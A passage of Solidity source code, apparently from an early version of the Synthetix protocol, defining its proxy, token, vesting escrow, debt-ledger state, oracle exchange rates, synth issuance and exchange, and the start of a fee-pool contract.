target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
contract Proxyable is Owned {
Proxy public proxy;
address messageSender;
constructor(address _proxy, address _owner)
Owned(_owner)
public
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address _proxy)
external
onlyOwner
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setMessageSender(address sender)
external
onlyProxy
{
messageSender = sender;
}
modifier onlyProxy {
require(Proxy(msg.sender) == proxy, "Only the proxy can call this function");
_;
}
modifier optionalProxy
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
_;
}
modifier optionalProxy_onlyOwner
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
require(messageSender == owner, "This action can only be performed by the owner");
_;
}
event ProxyUpdated(address proxyAddress);
}
contract ReentrancyPreventer {
bool isInFunctionBody = false;
modifier preventReentrancy {
require(!isInFunctionBody, "Reverted to prevent reentrancy");
isInFunctionBody = true;
_;
isInFunctionBody = false;
}
}
contract TokenFallbackCaller is ReentrancyPreventer {
function callTokenFallbackIfNeeded(address sender, address recipient, uint amount, bytes data)
internal
preventReentrancy
{
uint length;
assembly {
length := extcodesize(recipient)
}
if (length > 0) {
recipient.call(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", sender, amount, data));
}
}
}
contract ExternStateToken is SelfDestructible, Proxyable, TokenFallbackCaller {
using SafeMath for uint;
using SafeDecimalMath for uint;
TokenState public tokenState;
string public name;
string public symbol;
uint public totalSupply;
uint8 public decimals;
constructor(address _proxy, TokenState _tokenState,
string _name, string _symbol, uint _totalSupply,
uint8 _decimals, address _owner)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
tokenState = _tokenState;
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
decimals = _decimals;
}
function allowance(address owner, address spender)
public
view
returns (uint)
{
return tokenState.allowance(owner, spender);
}
function balanceOf(address account)
public
view
returns (uint)
{
return tokenState.balanceOf(account);
}
function setTokenState(TokenState _tokenState)
external
optionalProxy_onlyOwner
{
tokenState = _tokenState;
emitTokenStateUpdated(_tokenState);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
require(to != address(0), "Cannot transfer to the 0 address");
require(to != address(this), "Cannot transfer to the underlying contract");
require(to != address(proxy), "Cannot transfer to the proxy contract");
tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value));
tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value));
callTokenFallbackIfNeeded(from, to, value, data);
emitTransfer(from, to, value);
return true;
}
function _transfer_byProxy(address from, address to, uint value, bytes data)
internal
returns (bool)
{
return _internalTransfer(from, to, value, data);
}
function _transferFrom_byProxy(address sender, address from, address to, uint value, bytes data)
internal
returns (bool)
{
tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value));
return _internalTransfer(from, to, value, data);
}
function approve(address spender, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
tokenState.setAllowance(sender, spender, value);
emitApproval(sender, spender, value);
return true;
}
event Transfer(address indexed from, address indexed to, uint value);
bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)");
function emitTransfer(address from, address to, uint value) internal {
proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0);
}
event Approval(address indexed owner, address indexed spender, uint value);
bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)");
function emitApproval(address owner, address spender, uint value) internal {
proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0);
}
event TokenStateUpdated(address newTokenState);
bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)");
function emitTokenStateUpdated(address newTokenState) internal {
proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0);
}
}
contract LimitedSetup {
uint setupExpiryTime;
constructor(uint setupDuration)
public
{
setupExpiryTime = now + setupDuration;
}
modifier onlyDuringSetup
{
require(now < setupExpiryTime, "Can only perform this action during setup");
_;
}
}
contract SynthetixEscrow is Owned, LimitedSetup(8 weeks) {
using SafeMath for uint;
Synthetix public synthetix;
mapping(address => uint[2][]) public vestingSchedules;
mapping(address => uint) public totalVestedAccountBalance;
uint public totalVestedBalance;
uint constant TIME_INDEX = 0;
uint constant QUANTITY_INDEX = 1;
uint constant MAX_VESTING_ENTRIES = 20;
constructor(address _owner, Synthetix _synthetix)
Owned(_owner)
public
{
synthetix = _synthetix;
}
function setSynthetix(Synthetix _synthetix)
external
onlyOwner
{
synthetix = _synthetix;
emit SynthetixUpdated(_synthetix);
}
function balanceOf(address account)
public
view
returns (uint)
{
return totalVestedAccountBalance[account];
}
function numVestingEntries(address account)
public
view
returns (uint)
{
return vestingSchedules[account].length;
}
function getVestingScheduleEntry(address account, uint index)
public
view
returns (uint[2])
{
return vestingSchedules[account][index];
}
function getVestingTime(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[TIME_INDEX];
}
function getVestingQuantity(address account, uint index)
public
view
returns (uint)
{
return getVestingScheduleEntry(account,index)[QUANTITY_INDEX];
}
function getNextVestingIndex(address account)
public
view
returns (uint)
{
uint len = numVestingEntries(account);
for (uint i = 0; i < len; i++) {
if (getVestingTime(account, i) != 0) {
return i;
}
}
return len;
}
function getNextVestingEntry(address account)
public
view
returns (uint[2])
{
uint index = getNextVestingIndex(account);
if (index == numVestingEntries(account)) {
return [uint(0), 0];
}
return getVestingScheduleEntry(account, index);
}
function getNextVestingTime(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[TIME_INDEX];
}
function getNextVestingQuantity(address account)
external
view
returns (uint)
{
return getNextVestingEntry(account)[QUANTITY_INDEX];
}
function withdrawSynthetix(uint quantity)
external
onlyOwner
onlyDuringSetup
{
synthetix.transfer(synthetix, quantity);
}
function purgeAccount(address account)
external
onlyOwner
onlyDuringSetup
{
delete vestingSchedules[account];
totalVestedBalance = totalVestedBalance.sub(totalVestedAccountBalance[account]);
delete totalVestedAccountBalance[account];
}
function appendVestingEntry(address account, uint time, uint quantity)
public
onlyOwner
onlyDuringSetup
{
require(now < time, "Time must be in the future");
require(quantity != 0, "Quantity cannot be zero");
totalVestedBalance = totalVestedBalance.add(quantity);
require(totalVestedBalance <= synthetix.balanceOf(this), "Must be enough balance in the contract to provide for the vesting entry");
uint scheduleLength = vestingSchedules[account].length;
require(scheduleLength <= MAX_VESTING_ENTRIES, "Vesting schedule is too long");
if (scheduleLength == 0) {
totalVestedAccountBalance[account] = quantity;
} else {
require(getVestingTime(account, numVestingEntries(account) - 1) < time, "Cannot add new vested entries earlier than the last one");
totalVestedAccountBalance[account] = totalVestedAccountBalance[account].add(quantity);
}
vestingSchedules[account].push([time, quantity]);
}
function addVestingSchedule(address account, uint[] times, uint[] quantities)
external
onlyOwner
onlyDuringSetup
{
for (uint i = 0; i < times.length; i++) {
appendVestingEntry(account, times[i], quantities[i]);
}
}
function vest()
external
{
uint numEntries = numVestingEntries(msg.sender);
uint total;
for (uint i = 0; i < numEntries; i++) {
uint time = getVestingTime(msg.sender, i);
if (time > now) {
break;
}
uint qty = getVestingQuantity(msg.sender, i);
if (qty == 0) {
continue;
}
vestingSchedules[msg.sender][i] = [0, 0];
total = total.add(qty);
}
if (total != 0) {
totalVestedBalance = totalVestedBalance.sub(total);
totalVestedAccountBalance[msg.sender] = totalVestedAccountBalance[msg.sender].sub(total);
synthetix.transfer(msg.sender, total);
emit Vested(msg.sender, now, total);
}
}
event SynthetixUpdated(address newSynthetix);
event Vested(address indexed beneficiary, uint time, uint value);
}
contract SynthetixState is State, LimitedSetup {
using SafeMath for uint;
using SafeDecimalMath for uint;
struct IssuanceData {
uint initialDebtOwnership;
uint debtEntryIndex;
}
mapping(address => IssuanceData) public issuanceData;
uint public totalIssuerCount;
uint[] public debtLedger;
uint public importedXDRAmount;
uint public issuanceRatio = SafeDecimalMath.unit() / 5;
uint constant MAX_ISSUANCE_RATIO = SafeDecimalMath.unit();
mapping(address => bytes4) public preferredCurrency;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
LimitedSetup(1 weeks)
public
{}
function setCurrentIssuanceData(address account, uint initialDebtOwnership)
external
onlyAssociatedContract
{
issuanceData[account].initialDebtOwnership = initialDebtOwnership;
issuanceData[account].debtEntryIndex = debtLedger.length;
}
function clearIssuanceData(address account)
external
onlyAssociatedContract
{
delete issuanceData[account];
}
function incrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.add(1);
}
function decrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.sub(1);
}
function appendDebtLedgerValue(uint value)
external
onlyAssociatedContract
{
debtLedger.push(value);
}
function setPreferredCurrency(address account, bytes4 currencyKey)
external
onlyAssociatedContract
{
preferredCurrency[account] = currencyKey;
}
function setIssuanceRatio(uint _issuanceRatio)
external
onlyOwner
{
require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO");
issuanceRatio = _issuanceRatio;
emit IssuanceRatioUpdated(_issuanceRatio);
}
function importIssuerData(address[] accounts, uint[] sUSDAmounts)
external
onlyOwner
onlyDuringSetup
{
require(accounts.length == sUSDAmounts.length, "Length mismatch");
for (uint8 i = 0; i < accounts.length; i++) {
_addToDebtRegister(accounts[i], sUSDAmounts[i]);
}
}
function _addToDebtRegister(address account, uint amount)
internal
{
Synthetix synthetix = Synthetix(associatedContract);
uint xdrValue = synthetix.effectiveValue("sUSD", amount, "XDR");
uint totalDebtIssued = importedXDRAmount;
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
importedXDRAmount = newTotalDebtIssued;
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = synthetix.debtBalanceOf(account, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (issuanceData[account].initialDebtOwnership == 0) {
totalIssuerCount = totalIssuerCount.add(1);
}
issuanceData[account].initialDebtOwnership = debtPercentage;
issuanceData[account].debtEntryIndex = debtLedger.length;
if (debtLedger.length > 0) {
debtLedger.push(
debtLedger[debtLedger.length - 1].multiplyDecimalRoundPrecise(delta)
);
} else {
debtLedger.push(SafeDecimalMath.preciseUnit());
}
}
function debtLedgerLength()
external
view
returns (uint)
{
return debtLedger.length;
}
function lastDebtLedgerEntry()
external
view
returns (uint)
{
return debtLedger[debtLedger.length - 1];
}
function hasIssued(address account)
external
view
returns (bool)
{
return issuanceData[account].initialDebtOwnership > 0;
}
event IssuanceRatioUpdated(uint newRatio);
}
contract ExchangeRates is SelfDestructible {
using SafeMath for uint;
mapping(bytes4 => uint) public rates;
mapping(bytes4 => uint) public lastRateUpdateTimes;
address public oracle;
uint constant ORACLE_FUTURE_LIMIT = 10 minutes;
uint public rateStalePeriod = 3 hours;
bytes4[5] public xdrParticipants;
constructor(
address _owner,
address _oracle,
bytes4[] _currencyKeys,
uint[] _newRates
)
SelfDestructible(_owner)
public
{
require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match.");
oracle = _oracle;
rates["sUSD"] = SafeDecimalMath.unit();
lastRateUpdateTimes["sUSD"] = now;
xdrParticipants = [
bytes4("sUSD"),
bytes4("sAUD"),
bytes4("sCHF"),
bytes4("sEUR"),
bytes4("sGBP")
];
internalUpdateRates(_currencyKeys, _newRates, now);
}
function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
external
onlyOracle
returns(bool)
{
return internalUpdateRates(currencyKeys, newRates, timeSent);
}
function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
internal
returns(bool)
{
require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length.");
require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future");
for (uint i = 0; i < currencyKeys.length; i++) {
require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead.");
require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it's always UNIT.");
if (timeSent >= lastRateUpdateTimes[currencyKeys[i]]) {
rates[currencyKeys[i]] = newRates[i];
lastRateUpdateTimes[currencyKeys[i]] = timeSent;
}
}
emit RatesUpdated(currencyKeys, newRates);
updateXDRRate(timeSent);
return true;
}
function updateXDRRate(uint timeSent)
internal
{
uint total = 0;
for (uint i = 0; i < xdrParticipants.length; i++) {
total = rates[xdrParticipants[i]].add(total);
}
rates["XDR"] = total;
lastRateUpdateTimes["XDR"] = timeSent;
bytes4[] memory eventCurrencyCode = new bytes4[](1);
eventCurrencyCode[0] = "XDR";
uint[] memory eventRate = new uint[](1);
eventRate[0] = rates["XDR"];
emit RatesUpdated(eventCurrencyCode, eventRate);
}
function deleteRate(bytes4 currencyKey)
external
onlyOracle
{
require(rates[currencyKey] > 0, "Rate is zero");
delete rates[currencyKey];
delete lastRateUpdateTimes[currencyKey];
emit RateDeleted(currencyKey);
}
function setOracle(address _oracle)
external
onlyOwner
{
oracle = _oracle;
emit OracleUpdated(oracle);
}
function setRateStalePeriod(uint _time)
external
onlyOwner
{
rateStalePeriod = _time;
emit RateStalePeriodUpdated(rateStalePeriod);
}
function rateForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return rates[currencyKey];
}
function ratesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory _rates = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
_rates[i] = rates[currencyKeys[i]];
}
return _rates;
}
function lastRateUpdateTimeForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return lastRateUpdateTimes[currencyKey];
}
function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory lastUpdateTimes = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]];
}
return lastUpdateTimes;
}
function rateIsStale(bytes4 currencyKey)
external
view
returns (bool)
{
if (currencyKey == "sUSD") return false;
return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now;
}
function anyRateIsStale(bytes4[] currencyKeys)
external
view
returns (bool)
{
uint256 i = 0;
while (i < currencyKeys.length) {
if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) {
return true;
}
i += 1;
}
return false;
}
modifier onlyOracle
{
require(msg.sender == oracle, "Only the oracle can perform this action");
_;
}
event OracleUpdated(address newOracle);
event RateStalePeriodUpdated(uint rateStalePeriod);
event RatesUpdated(bytes4[] currencyKeys, uint[] newRates);
event RateDeleted(bytes4 currencyKey);
}
contract Synthetix is ExternStateToken {
Synth[] public availableSynths;
mapping(bytes4 => Synth) public synths;
FeePool public feePool;
SynthetixEscrow public escrow;
ExchangeRates public exchangeRates;
SynthetixState public synthetixState;
uint constant SYNTHETIX_SUPPLY = 1e8 * SafeDecimalMath.unit();
string constant TOKEN_NAME = "Synthetix Network Token";
string constant TOKEN_SYMBOL = "SNX";
uint8 constant DECIMALS = 18;
constructor(address _proxy, TokenState _tokenState, SynthetixState _synthetixState,
address _owner, ExchangeRates _exchangeRates, FeePool _feePool
)
ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, SYNTHETIX_SUPPLY, DECIMALS, _owner)
public
{
synthetixState = _synthetixState;
exchangeRates = _exchangeRates;
feePool = _feePool;
}
function addSynth(Synth synth)
external
optionalProxy_onlyOwner
{
bytes4 currencyKey = synth.currencyKey();
require(synths[currencyKey] == Synth(0), "Synth already exists");
availableSynths.push(synth);
synths[currencyKey] = synth;
emitSynthAdded(currencyKey, synth);
}
function removeSynth(bytes4 currencyKey)
external
optionalProxy_onlyOwner
{
require(synths[currencyKey] != address(0), "Synth does not exist");
require(synths[currencyKey].totalSupply() == 0, "Synth supply exists");
require(currencyKey != "XDR", "Cannot remove XDR synth");
address synthToRemove = synths[currencyKey];
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == synthToRemove) {
delete availableSynths[i];
availableSynths[i] = availableSynths[availableSynths.length - 1];
availableSynths.length--;
break;
}
}
delete synths[currencyKey];
emitSynthRemoved(currencyKey, synthToRemove);
}
function setEscrow(SynthetixEscrow _escrow)
external
optionalProxy_onlyOwner
{
escrow = _escrow;
}
function setExchangeRates(ExchangeRates _exchangeRates)
external
optionalProxy_onlyOwner
{
exchangeRates = _exchangeRates;
}
function setSynthetixState(SynthetixState _synthetixState)
external
optionalProxy_onlyOwner
{
synthetixState = _synthetixState;
emitStateContractChanged(_synthetixState);
}
function setPreferredCurrency(bytes4 currencyKey)
external
optionalProxy
{
require(currencyKey == 0 || !exchangeRates.rateIsStale(currencyKey), "Currency rate is stale or doesn't exist.");
synthetixState.setPreferredCurrency(messageSender, currencyKey);
emitPreferredCurrencyChanged(messageSender, currencyKey);
}
function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey)
public
view
rateNotStale(sourceCurrencyKey)
rateNotStale(destinationCurrencyKey)
returns (uint)
{
if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount;
return sourceAmount.multiplyDecimalRound(exchangeRates.rateForCurrency(sourceCurrencyKey))
.divideDecimalRound(exchangeRates.rateForCurrency(destinationCurrencyKey));
}
function totalIssuedSynths(bytes4 currencyKey)
public
view
rateNotStale(currencyKey)
returns (uint)
{
uint total = 0;
uint currencyRate = exchangeRates.rateForCurrency(currencyKey);
for (uint8 i = 0; i < availableSynths.length; i++) {
require(!exchangeRates.rateIsStale(availableSynths[i].currencyKey()), "Rate is stale");
uint synthValue = availableSynths[i].totalSupply()
.multiplyDecimalRound(exchangeRates.rateForCurrency(availableSynths[i].currencyKey()))
.divideDecimalRound(currencyRate);
total = total.add(synthValue);
}
return total;
}
function availableSynthCount()
public
view
returns (uint)
{
return availableSynths.length;
}
function transfer(address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transfer(to, value, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(messageSender), "Insufficient balance");
_transfer_byProxy(messageSender, to, value, data);
return true;
}
function transferFrom(address from, address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transferFrom(from, to, value, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(from), "Insufficient balance");
_transferFrom_byProxy(messageSender, from, to, value, data);
return true;
}
function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress)
external
optionalProxy
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Exchange must use different synths");
require(sourceAmount > 0, "Zero amount");
return _internalExchange(
messageSender,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress == address(0) ? messageSender : destinationAddress,
true
);
}
function synthInitiatedExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress
)
external
onlySynth
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Can't be same synth");
require(sourceAmount > 0, "Zero amount");
return _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress,
false
);
}
function synthInitiatedFeePayment(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount
)
external
onlySynth
returns (bool)
{
require(sourceAmount > 0, "Source can't be 0");
bool result = _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
"XDR",
feePool.FEE_ADDRESS(),
false
);
feePool.feePaid(sourceCurrencyKey, sourceAmount);
return result;
}
function _internalExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress,
bool chargeFee
)
internal
notFeeAddress(from)
returns (bool)
{
require(destinationAddress != address(0), "Zero destination");
require(destinationAddress != address(this), "Synthetix is invalid destination");
require(destinationAddress != address(proxy), "Proxy is invalid destination");
synths[sourceCurrencyKey].burn(from, sourceAmount);
uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey);
uint amountReceived = destinationAmount;
uint fee = 0;
if (chargeFee) {
amountReceived = feePool.amountReceivedFromExchange(destinationAmount);
fee = destinationAmount.sub(amountReceived);
}
synths[destinationCurrencyKey].issue(destinationAddress, amountReceived);
if (fee > 0) {
uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR");
synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount);
}
synths[destinationCurrencyKey].triggerTokenFallbackIfNeeded(from, destinationAddress, amountReceived);
return true;
}
function _addToDebtRegister(bytes4 currencyKey, uint amount)
internal
optionalProxy
{
uint xdrValue = effectiveValue(currencyKey, amount, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = debtBalanceOf(messageSender, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (!synthetixState.hasIssued(messageSender)) {
synthetixState.incrementTotalIssuerCount();
}
synthetixState.setCurrentIssuanceData(messageSender, debtPercentage);
if (synthetixState.debtLedgerLength() > 0) {
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
} else {
synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit());
}
}
function issueSynths(bytes4 currencyKey, uint amount)
public
optionalProxy
nonZeroAmount(amount)
{
require(amount <= remainingIssuableSynths(messageSender, currencyKey), "Amount too large");
_addToDebtRegister(currencyKey, amount);
synths[currencyKey].issue(messageSender, amount);
}
function issueMaxSynths(bytes4 currencyKey)
external
optionalProxy
{
uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey);
issueSynths(currencyKey, maxIssuable);
}
function burnSynths(bytes4 currencyKey, uint amount)
external
optionalProxy
{
uint debt = debtBalanceOf(messageSender, currencyKey);
require(debt > 0, "No debt to forgive");
uint amountToBurn = debt < amount ? debt : amount;
_removeFromDebtRegister(currencyKey, amountToBurn);
synths[currencyKey].burn(messageSender, amountToBurn);
}
function _removeFromDebtRegister(bytes4 currencyKey, uint amount)
internal
{
uint debtToRemove = effectiveValue(currencyKey, amount, "XDR");
uint existingDebt = debtBalanceOf(messageSender, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(totalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().add(debtPercentage);
if (debtToRemove == existingDebt) {
synthetixState.clearIssuanceData(messageSender);
synthetixState.decrementTotalIssuerCount();
} else {
uint newDebt = existingDebt.sub(debtToRemove);
uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove);
uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued);
synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage);
}
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
}
function maxIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint destinationValue = effectiveValue("SNX", collateral(issuer), currencyKey);
return destinationValue.multiplyDecimal(synthetixState.issuanceRatio());
}
function collateralisationRatio(address issuer)
public
view
returns (uint)
{
uint totalOwnedSynthetix = collateral(issuer);
if (totalOwnedSynthetix == 0) return 0;
uint debtBalance = debtBalanceOf(issuer, "SNX");
return debtBalance.divideDecimalRound(totalOwnedSynthetix);
}
function debtBalanceOf(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(issuer);
if (initialDebtOwnership == 0) return 0;
uint currentDebtOwnership = synthetixState.lastDebtLedgerEntry()
.divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex))
.multiplyDecimalRoundPrecise(initialDebtOwnership);
uint totalSystemValue = totalIssuedSynths(currencyKey);
uint highPrecisionBalance = totalSystemValue.decimalToPreciseDecimal()
.multiplyDecimalRoundPrecise(currentDebtOwnership);
return highPrecisionBalance.preciseDecimalToDecimal();
}
function remainingIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint alreadyIssued = debtBalanceOf(issuer, currencyKey);
uint max = maxIssuableSynths(issuer, currencyKey);
if (alreadyIssued >= max) {
return 0;
} else {
return max.sub(alreadyIssued);
}
}
function collateral(address account)
public
view
returns (uint)
{
uint balance = tokenState.balanceOf(account);
if (escrow != address(0)) {
balance = balance.add(escrow.balanceOf(account));
}
return balance;
}
function transferableSynthetix(address account)
public
view
rateNotStale("SNX")
returns (uint)
{
uint balance = tokenState.balanceOf(account);
uint lockedSynthetixValue = debtBalanceOf(account, "SNX").divideDecimalRound(synthetixState.issuanceRatio());
if (lockedSynthetixValue >= balance) {
return 0;
} else {
return balance.sub(lockedSynthetixValue);
}
}
modifier rateNotStale(bytes4 currencyKey) {
require(!exchangeRates.rateIsStale(currencyKey), "Rate stale or nonexistant currency");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Fee address not allowed");
_;
}
modifier onlySynth() {
bool isSynth = false;
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == msg.sender) {
isSynth = true;
break;
}
}
require(isSynth, "Only synth allowed");
_;
}
modifier nonZeroAmount(uint _amount) {
require(_amount > 0, "Amount needs to be larger than 0");
_;
}
event PreferredCurrencyChanged(address indexed account, bytes4 newPreferredCurrency);
bytes32 constant PREFERREDCURRENCYCHANGED_SIG = keccak256("PreferredCurrencyChanged(address,bytes4)");
function emitPreferredCurrencyChanged(address account, bytes4 newPreferredCurrency) internal {
proxy._emit(abi.encode(newPreferredCurrency), 2, PREFERREDCURRENCYCHANGED_SIG, bytes32(account), 0, 0);
}
event StateContractChanged(address stateContract);
bytes32 constant STATECONTRACTCHANGED_SIG = keccak256("StateContractChanged(address)");
function emitStateContractChanged(address stateContract) internal {
proxy._emit(abi.encode(stateContract), 1, STATECONTRACTCHANGED_SIG, 0, 0, 0);
}
event SynthAdded(bytes4 currencyKey, address newSynth);
bytes32 constant SYNTHADDED_SIG = keccak256("SynthAdded(bytes4,address)");
function emitSynthAdded(bytes4 currencyKey, address newSynth) internal {
proxy._emit(abi.encode(currencyKey, newSynth), 1, SYNTHADDED_SIG, 0, 0, 0);
}
event SynthRemoved(bytes4 currencyKey, address removedSynth);
bytes32 constant SYNTHREMOVED_SIG = keccak256("SynthRemoved(bytes4,address)");
function emitSynthRemoved(bytes4 currencyKey, address removedSynth) internal {
proxy._emit(abi.encode(currencyKey, removedSynth), 1, SYNTHREMOVED_SIG, 0, 0, 0);
}
}
contract FeePool is Proxyable, SelfDestructible {
using SafeMath for uint;
using SafeDecimalMath for uint;
Synthetix public synthetix;
uint public transferFeeRate;
uint constant public MAX_TRANSFER_FEE_RATE = SafeDecimalMath.unit() / 10;
uint public exchangeFeeRate;
uint constant public MAX_EXCHANGE_FEE_RATE = SafeDecimalMath.unit() / 10;
address public feeAuthority;
address public constant FEE_ADDRESS = 0xfeEFEEfeefEeFeefEEFEEfEeFeefEEFeeFEEFEeF;
struct FeePeriod {
uint feePeriodId;
uint startingDebtIndex;
uint startTime;
uint feesToDistribute;
uint feesClaimed;
}
uint8 constant public FEE_PERIOD_LENGTH = 6;
FeePeriod[FEE_PERIOD_LENGTH] public recentFeePeriods;
uint public nextFeePeriodId;
uint public feePeriodDuration = 1 weeks;
uint public constant MIN_FEE_PERIOD_DURATION = 1 days;
uint public constant MAX_FEE_PERIOD_DURATION = 60 days;
mapping(address => uint) public lastFeeWithdrawal;
uint constant TWENTY_PERCENT = (20 * SafeDecimalMath.unit()) / 100;
uint constant TWENTY_FIVE_PERCENT = (25 * SafeDecimalMath.unit()) / 100;
uint constant THIRTY_PERCENT = (30 * SafeDecimalMath.unit()) / 100;
uint constant FOURTY_PERCENT = (40 * SafeDecimalMath.unit()) / 100;
uint constant FIFTY_PERCENT = (50 * SafeDecimalMath.unit()) / 100;
uint constant SEVENTY_FIVE_PERCENT = (75 * SafeDecimalMath.unit()) / 100;
constructor(address _proxy, address _owner, Synthetix _synthetix, address _feeAuthority, uint _transferFeeRate, uint _exchangeFeeRate)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Constructed transfer fee rate should respect the maximum fee rate");
require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Constructed exchange fee rate should respect the maximum fee rate");
synthetix = _synthetix;
feeAuthority = _feeAuthority;
transferFeeRate = _transferFeeRate;
exchangeFeeRate = _exchangeFeeRate;
recentFeePeriods[0].feePeriodId = 1;
recentFeePeriods[0].startTime = now;
nextFeePeriodId = 2;
}
function setExchangeFeeRate(uint _exchangeFeeRate)
external
